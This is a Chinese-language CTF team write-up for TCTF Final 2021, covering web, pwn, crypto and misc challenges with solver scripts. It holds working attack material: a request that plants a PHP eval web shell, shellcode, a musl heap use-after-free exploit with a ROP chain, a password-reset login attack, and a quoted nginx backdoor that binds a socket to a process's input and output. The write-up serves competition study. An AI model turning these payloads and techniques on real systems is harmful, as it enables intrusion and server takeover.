2021-TCTF-Final WriteUp


L · September 27, 2021

TCTF Final 2021 WriteUP by L

Web

win-win | DONE | CyXq、Wanan、Noah

http://1e970bd9e98da124fc88e4ba70cd0485.winwin.pwnable.org/

readfileinclude中对文件读取的操作在windows中调用了FindFirstFileWin API,所以文件路径中传入通配符 << 可以匹配以字符串开头的目录。
此处一开始没有彻底搞清楚匹配规则导致踩了一些坑,索性搜了一下发现 .net framework 中有这一匹配算法的实现
参考:

eg:?win=../ht<</index.php,其中 ht<< 匹配了 htdocs
通过观察php版本以及一些脑洞(win,windows)猜测是xmapp,利用通配符爆出路径 c:/this_is_a_secret_path_107b1177348cc063a0713838282b1c27892d5fe2/properties.ini

他把web目录改到了C:/htdocs:

../可以绕过__DIR__

requests.post('http://1e970bd9e98da124fc88e4ba70cd0485.winwin.pwnable.org/', params={
    'win': '../../THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2/tmp/php<.tmp',
    'ev': 'file_put_contents($_GET["file"], $_GET["content"]);',
    'file': f'glzjin_wants_a_girlfrienda1076239a38625404904104c18f744b0.php',
    'content': '<?php eval($_POST["a"]);',
}, files={
    'test': ('aa', b'<?php eval($_GET[\"ev\"]);echo 1;')
}, timeout=None)).text

蚁剑连上,在网上搜索截图脚本,按要求截图

Pwn

Secure JIT II | DONE | eqqie

python写了个将python源文件转换成等价的64位汇编代码,然后加上文件头使之成为可执行文件,然后调用mmap.mmap执行
题目修改了 https://benhoyt.com/writings/pyast64/ 文章提到的 https://github.com/benhoyt/pyast64/raw/master/pyast64.py ,修改的diff文件已提供
大致说一下他的py文件的思路,将py文件转成x64汇编,然后执行, python->asm 以下功能

  • 循环
  • 条件
  • 输出(putc)
  • 没有输入、 没有其他的库函数,可以参考他的github项目里面的*.p64文件文件

相当于它远程帮你执行py文件,但是py文件只能由循环、赋值、条件、putc,,,其他的他都会报错

简单审计后发现函数调用时没有检查参数个数

exp.p64

注意做编码绕过字节限制

def test3():
    test2()

def test2():
    test()

def test(a, b, c, d, e, f, g, h, i, j):
    i = i - 9
    i = i + 0x30
    
    tmp = 0x58026a * 0x100 + 0x67
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x616c66 * 0x100 + 0x68
    tmp5 = tmp3 + tmp4
    i[0] = tmp5
    
    tmp = 0x50f99 * 0x100 + 0xf6
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x31e789 * 0x100 + 0x48
    tmp5 = tmp3 + tmp4
    i[1] = tmp5
    
    tmp = 0x89487f * 0x100 + 0xff
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0xffffba * 0x100 + 0x41
    tmp5 = tmp3 + tmp4
    i[2] = tmp5
    
    tmp = 0x995f01 * 0x100 + 0x6a
    tmp2 = tmp * 0x10000000
    tmp3 = tmp2 * 0x10
    tmp4 = 0x58286a * 0x100 + 0xc6
    tmp5 = tmp3 + tmp4
    i[3] = tmp5
    
    #i[0] = 0x58026a67 616c6668
    #i[1] = 0x50f99f6 31e78948
    #i[2] = 0x89487fff ffffba41
    #i[3] = 0x995f016a 58286ac6
    
    i[4] = 0x50f
    
    return 5
    
def main():
    putc(0xa)

exp.py

from pwn import *
import time

p = remote("118.195.199.18",40404)
#p = remote("127.0.0.1",40404)
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

p.recvuntil(b"`python3 pyast64.py <xxx>`.\n")

with open("./poc2.p64", "r") as f:
    p.send(f.read())
p.shutdown('send')
    
p.interactive()

shellcode 调用的 cat flag

/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

babaheap | DONE | eqqie

看 Dockerfile 发现是 musl C,可以参见https://juejin.cn/post/6844903574154002445#heading-4

菜单堆,基本功能都给了

有UAF,可以 free 以后 edit

有个思路是 free 几个 chunk 以后 edit,partial overwrite 让 next 指堆上来拿 overlapping

musl libc (x86_64)
Version 1.1.24
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]

一边学一边翻源码,思路大概如下:

  1. 程序有UAF
  2. musl初始堆位于libc的bss段,UAF给fd指针写0使其指向别的可控堆块,然后unlink,在可控堆块中读出指针地址即可算出libc基址
  3. 通过unlink的方式往main_arena上头写两个指针以便后续通过两次unlink拿到main_arena位置的堆块
  4. 通过unlink的方式让libc environ中的值被拷贝到main_arena中某个header指针的位置,然后通过上一步得到的堆块读出站地址
  5. 同样用写两个有效指针到main_ret附近
  6. 同样用双unlink取到包含main_ret的堆块,写ORW的ROP链读flag

EXP:

from pwn import *

#p = process("./babaheap_patch")
p = remote("1.116.236.251", 11124)
elf = ELF("./babaheap")
libc = ELF("./ld-musl-x86_64.so.1")
context.log_level = "debug"
context.arch = "amd64"

def allocate(size:int, content):
    p.sendlineafter(b"Command: ", b"1")
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def update(idx:int, size:int, content):
    p.sendlineafter(b"Command: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Content: ", content)
    
def delete(idx:int):
    p.sendlineafter(b"Command: ", b"3")
    p.sendlineafter(b"Index: ", str(idx).encode())

def view(idx:int):
    p.sendlineafter(b"Command: ", b"4")
    p.sendlineafter(b"Index: ", str(idx).encode())

# base: 0x0000555555554000
# heap: 0x00007ffff7ffe310
# tele 0x00007ffff7ffe310 100
# arena: 0x00007ffff7ffba40

def exp():
    # leak libc
    allocate(0x10, b"aaaaaaaa") #0
    allocate(0xe0, b"sep") #1 sep leak
    allocate(0x10, b"aaaaaaaa") #2
    allocate(0x10, b"sep") #3 sep
    delete(0)
    delete(2)
    update(0, 1, b"") #  modify next ptr to chunk1
    allocate(0x10, b"xxxxxxxx") #0  write ptr into chunk1
    view(1)
    p.recvuntil(b"Chunk[1]: ")
    p.recv(0xd8)
    leak = u64(p.recv(8))
    libc_base = leak - 0xb0a40
    environ = libc_base + 0xb2f38
    heap_base = libc_base + 0xb3310
    print("leak:", hex(leak))
    print("libc_base:", hex(libc_base))
    print("heap_base:", hex(heap_base))
    print("environ:", hex(environ))
    
    # leak environ
    ## write junk ptr
    allocate(0x30, b"bbbbbbbb") #2
    allocate(0x30, b"sep2") #4
    delete(2)
    #ptr1 = 0x00007ffff7ffba38-0x20
    #ptr2 = 0x00007ffff7ffba38-0x10
    ptr1 = libc_base+0xb0a38-0x20
    ptr2 = libc_base+0xb0a38-0x10
    update(2, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x30, b"xxx") #2
    ## get chunk of arena
    allocate(0x100, b"bbbbbbbb") #5
    allocate(0x50, b"sep2") #6
    delete(5)
    #gdb.attach(p)
    #pause()
    ptr1 = libc_base+0xb0a30-0x10
    ptr2 = libc_base+0xb0b00
    update(5, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0x100, b"yyy") #5
    allocate(0x100, p64(0)*2+p64(0x9000000000)) #7 fix bitmap
    ## get leak envriron
    allocate(0x30, b"ccc") #8
    allocate(0x50, b"sep") #9
    delete(8)
    ptr1 = environ-0x10
    update(8, 0x7, p64(ptr1)[0:6]) 
    allocate(0x30, b"ccc") #8
    allocate(0x30, b"ccc") #10
    view(7)
    ## get stack addr
    p.recvuntil(b"Chunk[7]: ")
    p.recv(0x38)
    stack_leak = u64(p.recv(8))
    print("stack_leak:", hex(stack_leak))
    
    # build rop
    pop_rdi_ret = libc_base + 0x15291
    pop_rsi_ret = libc_base + 0x1d829
    pop_rdx_ret = libc_base + 0x2cdda
    libc_open = libc_base + 0x1f920
    libc_read = libc_base + 0x72d10
    libc_write = libc_base + 0x73450
    main_ret = stack_leak - 0x40
    
    ## modify chain header
    ## write junk ptr
    allocate(0x50, b"dddddddd") #11
    allocate(0xf0, b"1") #12
    allocate(0x100, b"sep2") #13
    delete(11)
    ptr1 = main_ret-0x28
    ptr2 = main_ret-0x18
    update(11, 0x10, p64(ptr1)+p64(ptr2))
    allocate(0x50, b"xxx") #11
    
    ## rop chain
    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(8)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(heap_base)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_open)
    rop += p64(pop_rdi_ret) + p64(3)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_read)
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base)
    rop += p64(pop_rdx_ret) + p64(30)
    rop += p64(libc_write)
    
    ## get ret chunk
    delete(12)
    ptr1 = main_ret-0x20
    ptr2 = libc_base+0xb0ae8
    update(12, 0x10, p64(ptr1)+p64(ptr2)) 
    allocate(0xf0, b"yyy") #12
    allocate(0xf0, rop) #13
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))
    
    #gdb.attach(p, "b *0x0000555555554000+0x1ae2\nc\n")
    
    p.sendline(b"5")
    p.sendline(b"./flag\x00\x00")
    
    p.interactive()

if __name__ == "__main__":
    exp()

Crypto

babylogin | Done

Can you help me login with root and read the flag?
Here is my password: ''' $ ./client [email protected] Password: helloworld '''
client
[WARNING] Do NOT open too much connections to server at the same time, or your IP will be banned!

client看起来像pyinstaller

改过的pyinstaller,正在试着解

passwd限定长度12以内

helpme.txt:I don't have permission to read 'flag' file, can you help me get it?
I think baba's priviledge is higher than me. Because of his poor memory, I believe his password only contains digital and no longer than 4.
There is also a good news that the 'shadow' file is world-readable, which stores passwordhash of all users.

爆破4位哈希,拿baba的密码

baba的password是2021 试过2021,不能那么爆hash

import ctypes
from binascii import *
def secure_hash(m):
    global global_libsmartcard
    if len(m) != 16:
        raise Exception
    buf = ctypes.create_string_buffer(m, 16)
    global_libsmartcard.secure_hash(bytes(m), buf)
    return buf.raw
global_libsmartcard = ctypes.CDLL('./libsmartcard.so')
def generate_passwordhash(username, password):
    tmp1 = username.encode('ascii')
    tmp2 = password.encode('ascii')
    if len(tmp1) > 4 or len(tmp2) > 12:
        raise Exception
    buf = tmp1.ljust(4, b'\x00') + tmp2.ljust(12, b'\x00')
    return secure_hash(buf)
for i in range(10000):
    passwd = str(i)
    name = 'baba'
    if generate_passwordhash(name , passwd) == unhexlify(b'b7a44ef9e4c00312fcf98c6e0833b10e'):
        print(i)

能爆出hash的脚本,很慢,估计是用的慢哈希

logintype得用 token去登录
secure_decrypt(bytes.fromhex(token)) == secure_hash(bytes.fromhex(passwordhash))

baba 能改别人密码

from pwn import *
import base64
import ctypes
from Crypto.Util.number import *
def sendmsg(s):
    msg = s.encode('latin-1')
    enc_msg = bytes(((c ^ i ^ 255) & 255 for i, c in enumerate(msg)))
    buf = base64.b64encode(enc_msg)
    io.sendline(buf)

def dec_msg():
    cip = io.recvline()[:-1].decode()
    msg = base64.b64decode(cip)
    new = bytes(((c ^ i ^ 255) & 255 for i, c in enumerate(msg)))
    print(new)
    return new

def secure_hash(m):
    global global_libsmartcard
    if len(m) != 16:
        raise Exception
    buf = ctypes.create_string_buffer(m, 16)
    global_libsmartcard.secure_hash(bytes(m), buf)
    return buf.raw

def secure_decrypt(c):
    if len(c) != 16:
        raise Exception
    buf = ctypes.create_string_buffer(c, 16)
    #print(buf.raw)
    global_libsmartcard.secure_decrypt(bytes(c), buf)
    #print(buf.raw)
    return buf.raw

global_remoteconnection = None
try:
    global_libsmartcard = ctypes.CDLL('./babylogin/libsmartcard.so')
except OSError:
    global_libsmartcard = None

io = remote("42.192.189.71",22021)


dec_msg()
sendmsg('baba')
sendmsg('password')
dec_msg()
sendmsg('2021')
dec_msg()
dec_msg()
sendmsg('passwd root')
dec_msg()
sendmsg('111')
dec_msg()
sendmsg('exit')
dec_msg()
dec_msg()
sendmsg('baby')
sendmsg('password')
dec_msg()
sendmsg('helloworld')
dec_msg()
dec_msg()
sendmsg('cat shadow')
passwordhash = dec_msg()[5:5+32].decode()
from binascii import *
sss = hexlify(secure_hash(bytes.fromhex(passwordhash)))
print(sss)
sendmsg('exit')
print("exit")

print(passwordhash)
passwordhash = '5fd31128c5407dc117a49d3ae62bb138'
print(hexlify(secure_hash(bytes.fromhex(passwordhash))))
token = b'\xdb\x86\x99\xc1\xea\x81\x94Y"\x0b;\xe6\x00\xe3\x93\xff'# token需要是16进制
#print(secure_decrypt(token))
assert hexlify(secure_decrypt(token)) == hexlify(secure_hash(bytes.fromhex(passwordhash)))

dec_msg()
dec_msg()
sendmsg('root')
sendmsg('token')
sendmsg((hexlify(((token))).decode()))
sendmsg('cat flag')
dec_msg()
dec_msg()
dec_msg()
dec_msg()
dec_msg()


io.interactive()

securedecrypt那个是一个查表,但是有区别,shiftrows没变,要查两个表,第二次查表的20w的表是异或操作,是mixcolumn的后半。第一个表起到subbytes,addkeys和mixcolumn的前半作用
但是mixcolumn没有用GF(2^8)上的运算,因为有些字节只有128或者64种可能,考虑GF(2)上的运算,第一个表应为一个sbox的随机置换加上一个GF(2)上的32*8的矩阵运算,如果假设成立,所有的输出都应该是这个矩阵的列的线性组合。
同时实验可得box的前256个数组成的矩阵秩为8。因此只需要输出的任意8个线性无关向量即可当成矩阵,剩下的当成是随机的sbox。
最后逆向剩下的即可

def to_vec(num , lenth):
    v = vector(GF(2) , lenth)
    for j in range(lenth):
        if num % 2 == 1:
            v[lenth-1 - j] = 1
        num //= 2
    return v
def to_num(vec):
    num = 0
    for i in vec:
        num <<= 1
        num += int(i)
    return num
def get_M832(box):
    assert len(box) == 256
    tempM = Matrix(GF(2) , 32 ,8)
    cnt = 0
    for i in range(256):
        temp = to_vec(box[i] , 32)
        for j in range(32):
            tempM[j , cnt] = temp[j]
        cnt = tempM.rank()
        if cnt == 8:
            return tempM

def getSbox(M , box):
    newS = [-1] * 256
    for i in range(256):
        v = to_vec(i , 8)
        res = M * v
        res = to_num(res)
        
        newS[i] = box.index(res)
    return newS

def initMbox(box):
    M = Matrix(GF(2) ,32,32)
    newS = []
    for i in range(4):
        tempM = get_M832(box[i*256:i*256+256])
        newS.append(getSbox(tempM , box[i*256:i*256+256]))
        for x in range(32):
            for y in range(8):
                M[x , i*8+y] = tempM[x , y]
    return M , newS
def init():
    for i in range(8 , -1,-1):
        for j in range(4):
            M , S = initMbox(box_1[4096*i+1024*j:4096*i+1024*j+1024])
            Mlist1.append(M)
            Sboxlist1.append(S)
            M , S = initMbox(box_2[4096*i+1024*j:4096*i+1024*j+1024])
            Mlist2.append(M)
            Sboxlist2.append(S)

def column_reverse(M , newS , c):
    c = to_vec(c , 32)
    m = M.solve_right(c)

    m = [newS[i][to_num(m[i*8:i*8+8])] for i in range(4)]
    res = 0
    for i in range(4):
        res <<= 8
        res += m[i]
    return res
def pbox(ipt):
    v4 = [0]*16
    v3 = [0,5,10,15,4,9,14,3,8,13,2,7,12,1,6,11]
    for i in range(16):
        v4[i] = ipt[v3[i]]
    return v4
def inv_pbox(c):
    res = [0]*16
    v3 = [0,5,10,15,4,9,14,3,8,13,2,7,12,1,6,11]
    for i in range(16):
        res[v3[i]] = c[i]
    return res
def round_reverse(Ms1 , Ss1 ,Ms2 , Ss2, c):
    for j in range(4):
        c[j] = column_reverse(Ms2[j],Ss2[j] , c[j])
        c[j] = column_reverse(Ms1[j],Ss1[j] , c[j])
    temp = [-1]*16
    for i in range(4):
        tempc = c[i]
        for j in range(4):
            temp[i*4+ 3-j] = tempc%256
            tempc //= 256
    temp = inv_pbox(temp)
    c = []
    for i in range(4):
        tempsum = 0
        for j in range(4):
            tempsum <<= 8
            tempsum += temp[i*4+j]
        c.append(tempsum)
    return c
def re_lasttable(clist):
    res = []
    for i in range(16):
        t = table_2[256*i:256*i+256]
        res.append(t.index(clist[i]))
    return res
def decrypt(passwdhash):
    c = long_to_bytes(int(passwdhash , 16))
    for x in range(1337):
        print(x)
        c = re_lasttable(c)
        temp = inv_pbox(c)
        c = []
        for i in range(4):
            tempsum = 0
            for j in range(4):
                tempsum <<= 8
                tempsum += temp[i*4+j]
            c.append(tempsum)
        for i in range(8,-1,-1):
            c = round_reverse(Mlist1[(8-i)*4:(8-i)*4+4] ,Sboxlist1[(8-i)*4:(8-i)*4+4] ,Mlist2[(8-i)*4:(8-i)*4+4],Sboxlist2[(8-i)*4:(8-i)*4+4] , c)
        temp = [-1]*16
        for i in range(4):
            tempc = c[i]
            for j in range(4):
                temp[i*4+ 3-j] = tempc%256
                tempc //= 256
        c = temp
    return c
init()
a ='0c3db38a7aa689aa181cbcd45a164f9b'
a = decrypt(a)
print(a)

ezMat | Done

  • Keygen

$$ R (GF(p),11\times11),\\ S (GF(p),11\times11),\\ L,U = S.LU()\\ pk=R,sk=(L,U) $$

  • Encrypt

$$ S = L\times U\\ X = A+R\\ Y = S\times X\\ E = L^{-1}\times Y = U\times (A+R) $$

.LU()库
https://doc.sagemath.org/pdf/en/reference/matrices/matrices.pdf

def inv_cross(c):
    return alphabet[c]

def inv_prepare(cip):#输入是矩阵
    msg = ''
    for k in range(24-1,-1,-1):
        i, j = 5*k // 11, 5*k % 11
        msg = inv_cross(int(cip[i,j])) + msg
    return msg

# example
c = prepare('123333'*4)
print(inv_prepare(c))

Flag加密后每行最多3个基本就2个 其他都是0,那就可以直接开始 感觉每行71个,71 * 2就可以爆 最多也就71 * 3
因为LU分解后 U矩阵就是一个上三角 ,可以从后面往前开始爆,用在爆破的每一行前面n个是0去爆,看他能不能成功解密,如果不能就跳过,接着继续去拿之前的,发现第二行会有多解,但是每个是1 1对应的,于是直接开爆,第一行三个 第二行相当于只有1个,71的4次

p = 71
alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'

Enc=[
[31,45,41,12,36,43,45,51,25,2 ,64],
[68,24,32,35,52,13,64,10,14,2 ,40],
[34,34,64,32,67,25,21,57,31,6 ,56],
[7 ,17,12,33,54,66,28,25,40,23,26],
[14,65,70,35,67,55,47,36,36,42,57],
[68,28,33,0 ,45,52,59,29,52,41,46],
[60,35,0 ,21,24,44,49,51,1 ,6 ,35],
[20,21,44,57,23,35,30,28,16,23,0 ],
[24,64,54,53,35,42,40,17,3 ,0 ,36],
[32,53,39,47,39,56,52,15,39,8 ,9 ],
[7 ,57,43,5 ,38,59,2 ,25,2 ,67,12]]

pk=[
[53,28,20,41,32,17,13,46,34,37,24],
[0 , 9,54,25,36,1 ,21,24,56,51,24],
[61,41,10,56,57,28,49,4,44,70,34],
[47,58,36,53,68,66,34,69,22,25,39],
[4 ,70,21,36,53,26,59,51,3,44,28],
[41,23,39,37,1 ,28,63,64,37,35,51],
[43,31,16,36,45,5 ,35,52,7,45,41],
[26,3 ,54,58,50,37,27,49,3,46,11],
[14,48,18,46,59,64,62,31,42,41,65],
[17,50,68,10,24,40,58,46,48,14,58],
[46,24,48,32,16,1 ,27,18,27,17,20]]

from sage.all import *
p = 71
Enc = Matrix(GF(p),Enc)
R = Matrix(GF(p),pk)

def cross(m):
    return alphabet.index(m)

def prepare(msg):
    A = zero_matrix(GF(p), 11, 11)
    for k in range(len(msg)):
        i, j = 5*k // 11, 5*k % 11
        A[i, j] = cross(msg[k])
    return A

#print(prepare('1'*24) )# U最后一行就最后以为在线

ULAST = R[10,2]
MUl = Enc[10,2]
print(MUl/ULAST)
ULAST = R[10,3]
MUl = Enc[10,3]
print(MUl/ULAST)

U = zero_matrix(GF(p), 11, 11)
U[10,10] = MUl/ULAST
A = zero_matrix(GF(p), 11, 11)
A[10,0] = Enc[10,0]/U[10,10]-R[10,0]
A[10,5] = Enc[10,5]/U[10,10]-R[10,5]

def inv_cross(c):
    return alphabet[c]

def inv_prepare(cip):
    msg = ''
    for k in range(24-1,-1,-1):
        i, j = 5*k // 11, 5*k % 11
        msg = inv_cross(int(cip[i,j])) + msg
    return msg
#print(Enc[10,0])
#print((U*(A+R))[10,0])
#print('\n')
'''
for i in range(71):
    for j in range(71):
        try:
            A[9,1],A[9,6] = i,j
            tmpU = (A+R).solve_left(Enc)
            if tmpU[9,0] == 0 and tmpU[9,1] == 0 and tmpU[9,2] == 0 : 
                print(i,j)
            else:
                #print(i,j)
                continue
        except:
            continue'''
A[9,1],A[9,6] = 64,38
print(inv_prepare(A))
'''
for i in range(71):
    for j in range(71):
        try:
            A[8,2],A[8,7] = i,j
            tmpU = (A+R).solve_left(Enc)
            if tmpU[8,0] == 0 and tmpU[8,1] == 0 and tmpU[8,2] == 0 : 
                print(i,j)
            else:
                #print(i,j)
                continue
        except:
            continue'''
A[8,2],A[8,7] = 61,25
print(inv_prepare(A))

'''
for i in range(71):
    for j in range(71):
        try:
            A[7,3],A[7,8] = i,j
            tmpU = (A+R).solve_left(Enc)
            if tmpU[7,0] == 0 and tmpU[7,1] == 0 and tmpU[7,2] == 0 : 
                print(i,j)
            else:
                #print(i,j)
                continue
        except:
            continue'''
A[7,3],A[7,8] = 48,17
print(inv_prepare(A))
'''
for i in range(71):
    for j in range(71):
        try:
            A[6,4],A[6,9] = i,j
            tmpU = (A+R).solve_left(Enc)
            if tmpU[6,0] == 0 and tmpU[6,1] == 0 and tmpU[6,2] == 0 : 
                print(i,j)
            else:
                #print(i,j)
                continue
        except:
            continue'''
A[6,4],A[6,9] = 25,18
print(inv_prepare(A))
'''
for i in range(71):
    for j in range(71):
        for k in range(71):
            try:
                A[5,0],A[5,5],A[5,10] = i,j,k
                tmpU = (A+R).solve_left(Enc)
                if tmpU[5,0] == 0 and tmpU[5,1] == 0 and tmpU[5,2] == 0 : 
                    print(i,j,k)
                else:
                    #print(i,j)
                    continue
            except:
                continue'''
A[5,0],A[5,5],A[5,10] = 16,4,12
print(inv_prepare(A))

'''
for i in range(71):
    for j in range(71):
            try:
                A[4,1],A[4,6] = i,j
                tmpU = (A+R).solve_left(Enc)
                if tmpU[4,0] == 0 and tmpU[4,1] == 0 and tmpU[4,2] == 0 : 
                    print(i,j)
                else:
                    #print(i,j)
                    continue
            except:
                continue'''
A[4,1],A[4,6] = 14,37
print(inv_prepare(A))
'''
for i in range(71):
    for j in range(71):
            try:
                A[3,2],A[3,7] = i,j
                tmpU = (A+R).solve_left(Enc)
                if tmpU[3,0] == 0 and tmpU[3,1] == 0 and tmpU[3,2] == 0 : 
                    print(i,j)
                else:
                    #print(i,j)
                    continue
            except:
                continue'''
A[3,2],A[3,7] = 55,3
print(inv_prepare(A))
'''
for i in range(71):
    for j in range(71):
            try:
                A[2,3],A[2,8] = i,j
                tmpU = (A+R).solve_left(Enc)
                if tmpU[2,0] == 0 and tmpU[2,1] == 0 : 
                    print(i,j)
                else:
                    #print(i,j)
                    continue
            except:
                continue'''
A[2,3],A[2,8] = 0,12
print(inv_prepare(A))

TMP = []
for i in range(71):
    for j in range(71):
            try:
                A[1,4],A[1,9] = i,j
                tmpU = (A+R).solve_left(Enc)
                if tmpU[1,0] == 0  : 
                    #print(i,j)
                    TMP.append((i,j))
                else:
                    #print(i,j)
                    continue
            except:
                continue
alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'
MD = '95cb911a467482cc0f879861532e9ec7680b0846b48a9de25fb13b01c583d9f8'
from hashlib import*
for i in range(71):
    for j in range(71):
        for k in range(71):
            for s in range(len(TMP)):
                m,n = TMP[s]
                A[0,0],A[0,5],A[0,10],A[1,4],A[1,9] = i,j,k,m,n
                sss = inv_prepare(A)
                if sha256(sss.encode()).hexdigest() == '95cb911a467482cc0f879861532e9ec7680b0846b48a9de25fb13b01c583d9f8':
                    print(sss)

ezRSA | Done | shallow

开方爆k,二分找l,partical p 日dp,分解一梭

from random import *
from gmpy2 import *
m = 0
a = 154118536863381755324327990994045278493514334577571515646858907141541837890
tempk = iroot(a // 1337 , 4)[0]
for k in range(tempk , tempk - 10000 , -1):
    highl = 2**60
    lowl = 0
    while highl - lowl > 1:
        l = (highl + lowl) // 2
        if 1337 * k ** 4 + 7331 * l ** 3 + 73331 * k ** 2 + 13337 * l ** 2 + 7 * k * l + 2 * k + l > a:
            highl = l
        elif 1337 * k ** 4 + 7331 * l ** 3 + 73331 * k ** 2 + 13337 * l ** 2 + 7 * k * l + 2 * k + l < a:
            lowl = l
        else:
            print(l , k)
            break

EzRSA+ | Done | shallow

edp - 1 = k(p-1)
edq - 1 = l(q-1)
((edp+k-1)(edq+l-1) = 0 (mod n)
直接用格日出dpdq,分解通过dp末位判断出dp的确定解,最后cop搞出k。分解解密

Misc

boynextdoor | Done | kyr, luoqian

The boy next door changed his lock! We need your help to break in and play games with him!

给的github仓库
readme中的一个外链
(来点废话)就是每张脸都可以测量出128个测量值(嵌入),找到符合给出数据的脸就可以?(是)
这个是数据集

他给出的128个参数可以拿去和其他图像比,见示例
把数据集搞下来跑一遍?(我觉得不排除他用的数据根本不是一个人脸,但也可以试试)
human being都打上加粗了 不至于吧(你说得对)
自己训练铁不行,肯定要用人家给的,一血一个多小时就出了
这就不现实
我目前的思路是:把数据集里面的先跑一遍,如果几个匹配度高的脸都还不能过,那就试着拿那几个匹配度高的脸加噪音
试着加了噪音后发现不太行
在数据集里找匹配项的话,13000张中distance最小的是0.4,,也许扩大搜索范围还是能找到,太暴力惹但是太暴力

face_recognition.face_distance(known_faces,unknown_face_encoding)

👆看相似度

如果你想看人脸匹配的具体数值,可以传入参数 --show-distance true

$ face_recognition --show-distance true ./pictures_of_people_i_know/ ./unknown_pictures/
/unknown_pictures/unknown.jpg,Barack Obama,0.378542298956785
/face_recognition_test/unknown_pictures/unknown.jpg,unknown_person,None

爆破!

test_image = face_recognition.load_image_file("FaceRcg/new.png")
test_encoding = face_recognition.face_encodings(test_image)[0]
mindis=face_recognition.face_distance(known_faces,test_encoding)
while mindis>0.25:
    img = Image.open("FaceRcg/new.png")
    imgarr=np.asarray(img).copy()
    imgarr[random.randint(0,124)][random.randint(0,124)]=[random.randint(0,255),random.randint(0,255),random.randint(0,255)]
    newimg=Image.fromarray(imgarr)
    newimg.save("FaceRcg/new.png")
    
    test_image = face_recognition.load_image_file("FaceRcg/new.png")
    
    try:
        test_encoding = face_recognition.face_encodings(test_image)[0]
    except:
        img.save("FaceRcg/new.png")
        print("no face")
        continue
    distance = face_recognition.face_distance(known_faces,test_encoding)
    if distance<mindis:
        mindis=distance
        print("NEW mindis "+str(mindis))
    else:
        img.save("FaceRcg/new.png")
        print("nope")

之前忘了留个flag,这是后来又去复制的

Stand up! Here is your gift: flag{1b31010af3902e105ff69b61efcb1296}

eeenginx | Done | hs noah rx

readflag文件如下,readflag的作用就是读取flag

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+18h] [rbp-8h]

  stream = fopen("/flag", "r");
  if ( !stream )
  {
    perror("fopen");
    exit(-1);
  }
  fgets(buf, 1024, stream);
  printf("%s", buf);
  return 0;
}

写了一个简单的python脚本,方便做题

import requests
import json

tree = dict()

mode = ""
# mode = "brute"
if mode == "brute":
    with open("in.dic", "r") as f:
        dic = f.readlines()

url = "http://118.195.199.18:12345/?path="
while True:
    if mode == "brute" and dic:
        path = dic[0].strip("\n")
        dic.pop(0)
    else:
        path = input("> ")

    if path == "s":
        print(json.dumps(tree, indent=4))
        continue

    resp = requests.get(url + path).text
    if mode == "brute":
        print(path)
    print(resp)
    if ("nil" in resp or "Permission" in resp or "directory" not in resp) and "500 Internal" not in resp:
        path = path.split("/")
        current = tree
        while path:
            if path[0]:
                if not current.get(path[0]):
                    if len(path) == 1 and resp != "nil":
                        current[path[0]] = "(file)"
                    elif len(path) == 1 and "Permission" in resp:
                        current[path[0]] = "(*)"
                    else:
                        current[path[0]] = dict()
                current = current[path[0]]
                path.pop(0)
            else:
                path.pop(0)

/proc/self/fd/2 链接的是 nginx 的错误日志,从里面可以看到其他选手的做题历程((。

/work/lua/main.lua 是首页源码:

local path = ngx.req.get_uri_args().path
if path == nil then
    ngx.say('Try to download some files, example: ?path=/readflag')
else
    local f, err = io.open(path)
    if f == nil then
        ngx.say(err)
    else
        local content = f:read('*all')
        f:close()
        ngx.header['Content-Disposition'] = 'attachment; filename=attachment'
        ngx.header['Content-Type'] = 'application/octet-stream'
        ngx.print(content)
    end
end

不过看errorlog用处好像不大,题目描述中说这个站已经被黑了,所以应该看正常的log,来看hacker执行了哪些指令
/proc/self/fd/23是请求正常的log

Nginx 的启动命令行是:

$ cat /proc/1/cmdline
nginx: master process /usr/local/openresty/nginx/sbin/nginx -p /work/ -c conf/nginx.conf -g daemon off;

Nginx配置文件

worker_processes auto;
error_log logs/error.log;
events {
    worker_connections 1024;
}
http {
    server {
        listen 12345;
        location / {
            default_type text/html;
            content_by_lua_file lua/main.lua;
        }
    }
}

找到了后门的代码
疑似是 https://github.com/t57root/pwnginx 直接全文替换了 pwnginx 为 eeenginx

/*                                 
 *  functions.c - eeenginx functions
 *  [email protected]              
 *  lastest version @ https://github.com/t57root/eeenginx
 *  openwill.me / www.hackshell.net
 */                           
...
int exec_shell(int fd)
{
    int pid;
    pid = fork();
    if(pid>0){
        close(fd);
        exit(0);
    }

    dup2(fd,0);         
    dup2(fd,1);
    dup2(fd,2);
    execve("/readflag", NULL, NULL);
    return 0;
}
...
/*                                 
 *  ngx_http_eeenginx.c - eeenginx main module   
 *  [email protected]              
